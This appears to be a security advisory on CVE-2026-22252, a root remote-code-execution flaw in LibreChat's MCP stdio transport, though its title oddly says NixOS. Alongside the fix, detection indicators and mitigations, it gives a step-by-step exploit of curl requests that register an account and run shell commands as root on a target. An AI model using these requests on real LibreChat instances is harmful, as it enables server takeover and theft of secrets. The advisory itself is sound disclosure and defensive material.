CVE-2026-22252: 
NixOS vulnerability analysis and mitigation

CVE-2026-22252 is a critical authenticated remote code execution (RCE) vulnerability in LibreChat, an open-source ChatGPT-like platform. The flaw exists in LibreChat's MCP (Model Context Protocol) stdio transport, which accepts arbitrary shell commands without validation, allowing any authenticated user to execute commands as root inside the container via a single API request. It affects LibreChat versions up to and including v0.8.2-rc1, and was disclosed on January 12, 2026, with a fix released in v0.8.2-rc2 (GitHub Advisory). The CVSS v3.1 base score is 9.9 (Critical) per Feedly/NVD, or 9.1 (Critical) per the GitHub advisory (GitHub Advisory).

The root cause is improper authorization (CWE-285) combined with a complete lack of input validation on the MCP stdio transport's command and args fields. Three factors combine to create the vulnerability: MCP server creation is enabled for all authenticated users by default (Permissions.CREATE: z.boolean().default(true)), the MCPServerUserInputSchema previously included StdioOptionsSchema allowing arbitrary command/args input, and commands are executed immediately when an MCP server is created during "inspection" via StdioClientTransport. The fix (commit 211b39f) removes StdioOptionsSchema from MCPServerUserInputSchema, restricting stdio transport configuration to administrators via YAML files only, while allowing only remote transports (SSE, HTTP, WebSocket) through the API (GitHub Commit, GitHub Advisory).

Successful exploitation grants an authenticated attacker arbitrary shell command execution as the root user within the LibreChat Docker container. This enables complete container compromise including data exfiltration (JWT secrets, API keys, MongoDB user data), access to host-mounted directories (uploads, logs), credential theft from .env files, supply chain attacks by injecting malicious content into served files, and lateral movement to the internal network from the container (GitHub Advisory).

A detailed proof-of-concept (PoC) is publicly available in the GitHub Security Advisory, demonstrating exploitation via simple curl commands requiring only a registered user account. The vulnerability requires low attack complexity, no user interaction, and only low-level authentication (any registered user), making it trivially exploitable. As of the advisory date, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been reported. The EPSS score is approximately 0.036% (GitHub Advisory). The vulnerability has been referenced in broader MCP supply chain security discussions (OX Security Blog).

1. Reconnaissance: Identify internet-facing LibreChat instances running versions prior to v0.8.2-rc2 (e.g., v0.8.2-rc1 or earlier). Default installations on port 3080 are vulnerable.
2. Register/Authenticate: Register a new account or use existing credentials to obtain a JWT token:

curl -X POST 'http://<target>:3080/api/auth/register' \
  -H 'Content-Type: application/json' \
  -d '{"name":"attacker","email":"attacker@evil.com","password":"Password123!","confirm_password":"Password123!","username":"attacker"}'

TOKEN=$(curl -s -X POST 'http://<target>:3080/api/auth/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.com","password":"Password123!"}' | jq -r '.token')

3. Inject malicious command via MCP server creation: Send a POST request to /api/mcp/servers with a stdio-type config containing the desired shell command:

curl -X POST 'http://<target>:3080/api/mcp/servers' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"config":{"type":"stdio","title":"pwn","command":"/bin/sh","args":["-c","id > /app/client/public/images/output.txt"]}}'

4. Retrieve command output: Access the exfiltrated output via the public static file endpoint (no container access needed):

curl http://<target>:3080/images/output.txt
# Returns: uid=0(root) gid=0(root) groups=0(root)

5. Escalate: Use root access to exfiltrate secrets, establish persistence, or pivot to the internal network (GitHub Advisory).

• Network: Unexpected POST requests to /api/mcp/servers containing "type":"stdio" in the request body; outbound connections from the LibreChat container to unknown external IPs.
• Logs: LibreChat API access logs showing POST requests to /api/mcp/servers with stdio-type payloads from non-administrative user accounts; authentication events followed immediately by MCP server creation requests.
• File System: Unexpected files written to /tmp/, /app/client/public/images/, or other container-accessible directories; modified .env files or new scripts in the container filesystem; unexpected files in mounted volumes (./uploads, ./logs).
• Process: Unusual child processes spawned by the LibreChat Node.js process (e.g., /bin/sh, bash, curl, wget, python, nc); processes running as UID 0 (root) that are not expected container services (GitHub Advisory).

Upgrade LibreChat to v0.8.2-rc2 or later, which removes stdio transport from the user-accessible API schema and restricts it to administrator-only YAML configuration (GitHub Commit). As interim mitigations: restrict network access to LibreChat deployments to trusted users only, disable open user registration if not required, and implement network segmentation around the container. Monitor API logs for POST requests to /api/mcp/servers with stdio-type configurations as a detection measure (GitHub Advisory).

The vulnerability was covered by The Hacker Wire and shared on Mastodon and Bluesky, highlighting the severity of root-level RCE accessible to any registered user (The Hacker Wire). OX Security included CVE-2026-22252 in a broader advisory on RCE vulnerabilities across the AI/MCP ecosystem, framing it as part of a wider supply chain risk pattern in MCP implementations (OX Security Blog). The Hacker News also covered related MCP design vulnerability discussions in April 2026, referencing this CVE in the context of Anthropic's MCP protocol risks (The Hacker News). Check Point Research published a detection advisory (CPAI-2026-3390) for the vulnerability (Check Point).